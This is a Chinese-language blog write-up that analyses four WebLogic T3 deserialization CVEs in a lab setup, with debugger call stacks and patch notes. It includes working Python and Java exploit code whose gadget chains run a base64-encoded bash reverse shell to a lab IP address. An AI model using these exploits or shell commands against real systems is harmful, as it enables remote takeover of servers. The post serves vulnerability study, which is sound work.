Weblogic Analysis Attacked by T3 Protocol From CVE (part 1)

RoboTerh 2022-10-11 09:48:00

前言

WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。

我们这里通过Weblogic的CVE来学习各种的利用手法。

环境搭建

对于Weblogic的环境搭建,可以使用下面的这个项目

https://github.com/QAX-A-Team/WeblogicEnvironment

根据项目中的README中的描述进行搭建,我这里选用的是jdk7u21wls10.3.6版本

image-20221002190354071.png

之后需要修改一点Dockerfile

image-20221002191021337.png

之后就是构建镜像和运行容器

## 创建镜像
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .

## 运行容器
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

成功运行服务

image-20221002193249606.png

可以登录管理控制台

:7001/console/login/LoginForm.jsp

默认账号密码为weblogic / qaxateam01

T3协议的利用

CVE-2015-4582

影响

  1. 10.3.6.0
  2. 12.1.2.0
  3. 12.1.3.0
  4. 12.2.1.0

原理

此漏洞允许攻击者通过T3协议和TCP协议服共用的7001端口进行远程命令执行

分析

对于weblogic来说,反序列化的点在weblogic.rjvm.InboundMsgAbbrev#readObject方法,打下断点

贴一下这时候的调用栈

readObject:60, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

image-20221003090937467.png

其中传入的var1变量中就存在有我们传入的序列化数据

image-20221003091229880.png

调用了var1#read方法

image-20221003091417574.png

在这个式子的后面部分因为this.pos() == this.curEndEnvelope计算为false,所以将会调用父类的read方法

image-20221003091649574.png

直接返回

因为var1.read()方法中返回的结果为0,所以将会进入case 0语句,将会调用(new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject()语句

首先来看前面部分

image-20221003092000213.png

就是一个构造函数,值得注意的是,在向serverChannel属性传入数据时候可以发现使用的协议是t3协议进行反序列化

之后进行后面一部分,调用了readObject方法

image-20221003093457123.png

但是,ServerChannelInputStream类没有重写readObject方法,所以,调用的是他的父类ObjectInputStream#readObject方法

对于Java反序列化来说,将会在反序列化中调用resolveClass方法读取反序列化的类名

具体实现在ObjectInputStream#readNonProxyDesc方法中

image-20221003093940856.png

调用栈

resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)

虽然ServerChannelInputStream没有重写readObject方法,但是他重写了resolveClass方法,跟进看看

image-20221003094042914.png

首先调用父类ObjectInputStream#resolveClass方法获取对应类名

image-20221003094150457.png

调用getName方法获取类名,之后通过Class.forName方法获取对应的类,因为这里的resolveClass方法是直接使用的父类的该方法,并没有做出任何的安全过滤操作,所以能够实例化任意类

之后就是CC1链的部分了,就不分析了

利用

from os import popen
import struct  # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii


def generatePayload(gadget, cmd):
    YSO_PATH = "E:\\POCgithub\\Java\\tools\\ShiroExploit.V2.51\\ysoserial.jar"
    popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
    return popen.stdout.read()


def T3Exploit(ip, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((ip, port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    data += sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    print(data.decode())
    match = compile.findall(data.decode())
    if match:
        print("Weblogic: " + "".join(match))
    else:
        print("Not Weblogic")
        return
    header = binascii.a2b_hex(b"00000000")
    t3header = binascii.a2b_hex(
        b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
    desflag = binascii.a2b_hex(b"fe010000")
    payload = header + t3header + desflag + payload
    payload = struct.pack(">I", len(payload)) + payload[4:]
    sock.send(payload)


if __name__ == "__main__":
    ip = "192.168.153.136"
    port = 7001
    gadget = "CommonsCollections1"
    cmd = "bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"
    payload = generatePayload(gadget, cmd)
    T3Exploit(ip, port, payload)

修复

主要是通过打补丁的方式,记录一下过程吧,毕竟踩了好多坑

补丁

教程

在下载了上面的补丁之后,可以通过上面给的链接打上补丁

我们再次使用前面提到的POC进行攻击,发现,不能够成功弹回shell

我们查看Weblogic的日志

发现有这样的一个报错

 java.io.InvalidClassException: Unauthorized deserialization attempt; org.apache.commons.collections.functors.ChainedTransformer
java.io.InvalidClassException: Unauthorized deserialization attempt; org.apache.commons.collections.functors.ChainedTransformer
    at weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.resolveClass(InboundMsgAbbrev.java:116)
    at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1610)
    at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1515)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1769)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1989)
    at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:499)
    at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:149)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:601)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1004)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1891)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1796)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1989)
    at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:499)
    at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:331)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:601)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1004)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1891)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1796)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1989)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1913)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1796)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
    at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1989)
    at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:499)
    at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:331)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:601)
    at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1004)
    at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1891)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1796)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1348)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
    at weblogic.rjvm.InboundMsgAbbrev.readObject(InboundMsgAbbrev.java:69)
    at weblogic.rjvm.InboundMsgAbbrev.read(InboundMsgAbbrev.java:41)
    at weblogic.rjvm.MsgAbbrevJVMConnection.readMsgAbbrevs(MsgAbbrevJVMConnection.java:283)
    at weblogic.rjvm.MsgAbbrevInputStream.init(MsgAbbrevInputStream.java:215)
    at weblogic.rjvm.MsgAbbrevJVMConnection.dispatch(MsgAbbrevJVMConnection.java:498)
    at weblogic.rjvm.t3.MuxableSocketT3.dispatch(MuxableSocketT3.java:330)
    at weblogic.socket.BaseAbstractMuxableSocket.dispatch(BaseAbstractMuxableSocket.java:394)
    at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:960)
    at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:897)
    at weblogic.socket.PosixSocketMuxer.processSockets(PosixSocketMuxer.java:130)
    at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29)
    at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:42)
    at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:145)
    at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:117)

通过搜索,我们可以定位到BUG22248372_1036.jar这个jar包来

image-20221003161330944.png

在前面调用ClassFitler.isBlackListed方法进行黑名单判断

image-20221003161423945.png

主要作用在了wlthint3client.jar包下的

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638

影响

  1. 10.3.6.0
  2. 12.1.2.0
  3. 12.1.3.0
  4. 12.2.1.0

原理

从上一个补丁中进行了黑名单的过滤,主要运用于三个类中,这个CVE中的绕过方法就是寻找到了一个类,在其readObject方法中创建了自己的InputStream对象,没有使用上面那几个类进行反序列化,这样就可以变相绕过上面补丁中的过滤

按照这种思路,漏洞作者找到了weblogic.jms.common.StreamMessageImpl

在其中的readExternal方法中

image-20221003163021076.png

StreamMessageImpl在反序列化的时候,根据传递过来的输入数据第一个字节判断是否是1,若为1,会对后续数据调用反序列化函数,var5实际是一个ObjectInputStream,其readObject即开启了后续反序列化的启动

分析

根据前面原理的描述,我们知道了主要的利用点是StreamMessageImpl#readExternal方法

其中的BufferInputStream流是从其中的payload属性获取的

跟进payload的赋值,跟进PayloadFactoryImpl.createPayload方法

image-20221003194047722.png

首先调用输入流的readInt方法,之后将获取的var1和输入流var0作为参数带入copyPayloadFromStream方法的调用

image-20221003194322482.png

在这个方法中,获取var1和chunk_size的两倍中最小的那个,结合输入流调用createOneSharedChunk方法创建一个Chunk类对象

image-20221003194634440.png

首先通过传入的var1初始化一个byte数组,之后通过输入流var0向其填充,通过Chunk类的构造方法创建Chunk

之后通过一些封装,传递给了payload属性,之后就是在readExternal方法中进行反序列化

所以,对于构造payload来说

根据readExternal方法中的逻辑

public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
    super.readExternal(var1);
    byte var2 = var1.readByte();
    byte var3 = (byte)(var2 & 127);
    if (var3 >= 1 && var3 <= 3) {
        switch(var3) {
        case 1:
            this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
            BufferInputStream var4 = this.payload.getInputStream();
            ObjectInputStream var5 = new ObjectInputStream(var4);
            this.setBodyWritable(true);
            this.setPropertiesWritable(true);

调用readByte方法,要求其为1,才能够利用

而又根据前面的分析

public static Payload createPayload(InputStream var0) throws IOException {
    int var1 = ((DataInput)var0).readInt();
    if (var1 > CHUNK_LINK_THRESHOLD) {

需要调用readInt方法返回的是序列化数据的长度

public static Chunk createOneSharedChunk(InputStream var0, int var1) throws IOException {
    byte[] var2 = new byte[var1];

    int var4;
    for(int var3 = 0; var3 < var1; var3 += var4) {
        var4 = var0.read(var2, var3, var1 - var3);
        if (var4 < 0) {
            throw new EOFException();
        }
    }

    Chunk var5 = new Chunk(var2, var1);
    var5.readOnlySharedBuf = true;
    return var5;
}

而这里是需要read方法读取的是序列化数据

针对这些个要求

我们有两种方式满足这些要求,这里就有点类似于我之前分析的Dubbo反序列化一样

  1. 直接抓取数据包,使用Python发送数据包
  2. 重写writeExternal方法,实现相应要求

这里我使用的是重写这种方法(个人感觉简单些)

直接在src下创建StreamMessageImpl类的包名weblogic.jms.common

添加一些方法和重写writeExternal方法

/**
     * 获取序列化数据大小
     * @return payload_size
     */
    public Integer getPayloadInt() {
        return this.payload_size;
    }

    /**
     * 获取序列化数据
     * @return payload_content
     */
    public byte[] getPayload_content() {
        return this.payload_content;
    }

    /**
     * 写入序列化数据和对应长度
     * @param var1
     * @param var2
     */
    public void setPayload(byte[] var1, Integer var2) {
        this.payload_content = var1;
        this.payload_size = var2;
    }

    /**
     * 重写writeExternal方法生成payload
     * @param var1
     * @throws IOException
     */
    public void writeExternal(ObjectOutput var1) throws IOException {
        super.writeExternal(var1);
        var1.writeByte(1);
        var1.writeInt(getPayloadInt());
        var1.write(getPayload_content());
    }

之后就是发送生成的恶意数据包

public static void main(String[] args) {
    try {
        byte[] payloadObject = new CVE_2016_0638().getObject();
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setPayload(payloadObject, payloadObject.length);
        byte[] payload2 = Serializables.serialize(streamMessage);
        T3ProtocolOperation.send("192.168.153.136", "7001", payload2);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

对于T3ProtocolOperation#send中的逻辑主要是参考自weblogic_cmd项目,同样可以使用python来进行利用,将其中的t3 协议头给剥离出来就行了

getObject方法就是获取需要反序列化的恶意序列化数据(这里是CC1链)

image-20221003224247429.png

image-20221003224326714.png

在打了补丁的情况下,仍然能够利用

分析一下调用过程

首先放个到反序列化入口的调用链

readExternal:1433, StreamMessageImpl (weblogic.jms.common)
readExternalData:1835, ObjectInputStream (java.io)
readOrdinaryObject:1794, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

前面的流程在前面已经说过了

image-20221003230351005.png

在这里得到了我们传入的恶意序列化数据,并在之后成功进行了反序列化调用

CVE-2016-3510

影响

  • Oracle WebLogic Server 12.2.1.0
  • Oracle WebLogic Server 12.1.3.0
  • Oracle WebLogic Server 12.1.2.0
  • Oracle WebLogic Server 10.3.6.0

原理

跟上一个漏洞类似,这次利用的是weblogic.corba.utils.MarshalledObject这个类,这个类并没有实现readObject或者readExternal函数,所以在反序列化的时候采用ObjectInputStream的默认流程

即调用ObjectInputStream#readObject方法,进而调用了readObject0方法

分析

接着上面说的readObject0方法的调用

image-20221003163742121.png

在该方法中调用了readOrdinaryObject方法进行反序列化

image-20221003163849332.png

进而调用了desc.invokeReadResolve方法进行处理

image-20221003163922918.png

在这个方法中将会调用对应类的readResolve方法

image-20221003164013645.png

跟进MarshalledObject#readResolve方法

image-20221003164139660.png

将会调用readObject进行反序列化调用,字节流是该类的objBytes属性

所以在构造MarshalledObject对象的时候需要将序列化数据传给objBytes属性

那么objBytes是从哪里来的呢?

image-20221003232141775.png

可以关注到MarshalledObject的构造函数中,将传入的对象var1通过MarshalledObject.MarshalledObjectOutputStream类进行封装

image-20221003232350108.png

其父类是ObjectOutputStream类,因为MarshalledObject构造方法中调用了writeObject进行序列化操作,但是MarshalledObjectOutputStream类并没有重写该方法,所以调用的是父类ObjectOutputStreamwriteObject方法进行序列化操作

之后再构造方法中将得到的序列化数据转换为byte数组之后存放在了objBytes属性中,好吧,这里不就是纯纯的二次反序列化嘛!!

到这里我们就可以构造payload了

同样套用我们上一个CVE的模板

之后通过MarshalledObject的构造方法传入恶意类

public class CVE_2016_3510 {
    public Object getObject() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4yLjE0OS84MDAwIDwmMSc=}|{base64,-d}|{bash,-i}"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
        final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

        final Map testMap = new HashMap();

        Map evilMap = (Map) Proxy.newProxyInstance(
                testMap.getClass().getClassLoader(),
                testMap.getClass().getInterfaces(),
                secondInvocationHandler
        );
        final Constructor<?> ctor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        final InvocationHandler handler = (InvocationHandler) ctor.newInstance(Override.class, evilMap);
        return handler;
    }
    public static void main(String[] args) {
        try {
            Object payloadObject = new CVE_2016_3510().getObject();
            MarshalledObject marshalledObject = new MarshalledObject(payloadObject);
            byte[] payload2 = Serializables.serialize(marshalledObject);
            T3ProtocolOperation.send("192.168.153.136", "7001", payload2);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20221003232838205.png

是能够成功反弹shell的

调用栈

readResolve:58, MarshalledObject (weblogic.corba.utils)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invokeReadResolve:1091, ObjectStreamClass (java.io)
readOrdinaryObject:1805, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:69, InboundMsgAbbrev (weblogic.rjvm)
read:41, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:215, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:394, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:960, SocketMuxer (weblogic.socket)
readReadySocket:897, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)

image-20221003233242329.png

这里的objBytes也是我们的序列化数据

CVE-2020-2555

影响

Oracle Coherence 3.7.1.17

Oracle Coherence 12.1.3.0.0

Oracle Coherence 12.2.1.3.0

Oracle Coherence 12.2.1.4.0

原理

这个CVE主要是能够传入可控的参数导致调用任意的方法

实在没有找到补丁,只能爬张网上的图

image-20221004074738227.png

在补丁中,移除的部分是ValueExtractor#extract方法的调用,传入了参数this.m_oAnchorTop / this.m_oAnchorBottom属性

分析

根据前面提到的补丁中做出的修复处理去除了LimitFilter#toString方法中的extract方法的调用

因为LimitFitlercoherence组件中的一个类,所以我们还需要从docker中获取coherence组件的依赖包

跟进没有修改的LimitFitler#toString方法

image-20221004083212668.png

在该方法中主要是创建了一个StringBuffer对象,之后一直向对象中添加数据,在最后将调用其toString方法进行返回。

值得注意的是,在这个过程中如果该类的m_comparator属性是一个ValueExtractor实例的话,将会在调用其extract方法之后再进行添加

我们跟进一下ValueExtracotr接口

image-20221004085114863.png

存在有extract等四个方法,分别用来提取,比较,计算hash,返回字符串等功能

我们寻找实现了该接口的类

image-20221004085253878.png

还挺多的,一个一个去看对应类的extract方法的实现

好吧,有很多类都存在有利用的方式,这里我们分析这个CVE的利用方式吧

我们跟进com.tangosol.util.extractor.ReflectionExtractor#extract方法中

image-20221004085719520.png

在该方法中,首先是通过调用目标类的getClass方法获取了类对象,如果在该类中存在有m_methodPrev中的方法,调用通过反射调用该方法,传入的参数是m_aoParam属性值

分析到这里,就很明确了,主要是通过这种方法构造出Runtime.getRuntime.exec("id")这样的命令执行

我们跟进一下他的构造方法

image-20221004162905297.png

我们可以传入需要调用的方法名和参数

这里和之前分析的CC链类似,CC链是通过ChainedTransformer类来构造的调用链

这里也有存在类似的Extractor能够形成一条完整的利用链

ChainedExtractor#extract方法中存在有类似于ChainedTransformer类的方法,能够连续调用ValueExtractorextract方法

image-20221004163730701.png

所以我们构建payload(需要coherence.jar依赖)

ChainedExtractor#extract中的oTarget参数来自于LimitFilter#toString方法中,调用了m_oAnchorTop属性

对于m_oAnchorTop属性我们传入Runtime类,而其中的ValueExtractor对象主要是通过属性m_comparator传入的,这个属性传入的ChainedExtractor类对象

接着Runtime类进行分析,需要调用对应的getMethod方法,得到Runtime类的getRuntime方法

好吧,在编写好POC之后,发现没有成功利用,但是在本地测试的时候能够成功

image-20221008153442324.png

但是可恶的是,通过将序列化数据进行T3协议的封装后发送给远程Weblogic服务端,没有成功利用

在踩了好久好久的坑之后,通过找不同,我发现了本地使用的是JDK 8u202,但是我在前面搭建远程weblogic服务的时候使用的是JDK 7u21的版本

在JDK的commit中可以发现,在8u76版本的修改中,存在有toString方法的调用,才能够使用BadAttributeValueExpression#toString调用链

接下来重新构建一下环境,构建JDK 8u121 + weblogic 12.1.3的组合

image-20221008215049645.png

之后就是构建的POC

package pers.weblogic;

import com.supeream.serial.Serializables;
import com.supeream.weblogic.T3ProtocolOperation;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;

public class CVE_2020_2555 {
    public static void main(String[] args) throws Exception {
        // 创建第一个Extractor Runtime.getMethod("getRuntime")
        ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
        // 第二个Extractor getRuntime.invoke()
        ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[0]});
        // 第三个Extractor invoke(exec, "id")
        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{"bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4zLjM1LzgwMDAgPCYxJw==}|{base64,-d}|{bash,-i}"});
//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});

        ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});

        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setComparator(chainedExtractor);
        limitFilter.setTopAnchor(Runtime.class);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        try {
            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, limitFilter);
        } catch (Exception e) {
            e.printStackTrace();
        }

        byte[] payload = Serializables.serialize(badAttributeValueExpException);
        // 通过封装的T3协议发送payload
        T3ProtocolOperation.send("192.168.153.136", "7001", payload);

//        Serializables.deserialize(payload);
    }
}

可以直接攻击反弹shell

image-20221008215353592.png

在调试POC中可以发现成功写入Extractor

image-20221008215724905.png

形成了利用链

贴个调用栈

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
extract:109, ReflectionExtractor (com.tangosol.util.extractor)
extract:81, ChainedExtractor (com.tangosol.util.extractor)
toString:580, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2122, ObjectInputStream (java.io)
readOrdinaryObject:2013, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
readObject:67, InboundMsgAbbrev (weblogic.rjvm)
read:39, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:287, MsgAbbrevJVMConnection (weblogic.rjvm)
init:212, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:507, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:489, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:359, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:970, SocketMuxer (weblogic.socket)
readReadySocket:907, SocketMuxer (weblogic.socket)
process:495, NIOSocketMuxer (weblogic.socket)
processSockets:461, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

Ref

https://www.chabug.org/author/Y4er

https://github.com/QAX-A-Team/WeblogicEnvironment

https://www.anquanke.com/member.html?memberId=151002

评论

A

Alston 2022-12-30 15:50:54

写得好!

RoboTerh

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

后门 文章:39 篇
APT 文章:6 篇
业务安全 文章:29 篇
区块链 文章:2 篇
前端安全 文章:29 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录